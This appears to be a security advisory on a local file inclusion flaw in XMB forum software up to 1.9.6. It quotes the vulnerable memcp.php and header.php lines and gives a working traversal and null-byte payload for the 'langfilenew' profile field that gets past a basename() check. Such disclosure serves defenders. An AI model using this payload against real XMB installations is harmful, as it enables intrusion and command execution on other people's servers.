XMB <= 1.9.6 Final basename() 'langfilenew' arbitrary local inclusion / remote commands xctn

XMB is vulnerable to arbitrary local inclusion and remote commands execution due to insufficient validation of user-supplied input. An attacker can exploit this vulnerability by supplying a crafted value for langfilenew argument, ex: ../../../../../../../apache/logs/access.log[null char]/English. This will bypass the check and allow the attacker to include an arbitrary file from local resources. This works regardless of php.ini settings because of the ending null char stored in database.

Mitigation:

Ensure that user-supplied input is properly validated and sanitized before being used in the application.

vulnerable code in  memcp.php at lines 331-333:

...
 if ( !file_exists(ROOT.'/lang/'.basename($langfilenew).'.lang.php') ) {
            $langfilenew = $SETTINGS['langfile'];
        }
...

this check, when you update your profile and select a new language, can be
bypassed by supplying a well crafted value for langfilenew argument, ex:

../../../../../../../apache/logs/access.log[null char]/English

basename() returns 'English' and English.lang.php is an existing file in lang/
folder, now

../../../../../../../apache/logs/access.log[null char]

string is stored in xmb_members table so, every time you are logged in,
u can include an arbitrary file from
local resources because in header.php we have this line

require ROOT."lang/$langfile.lang.php";

and this works regardless of php.ini settings because of the ending null char
stored in database
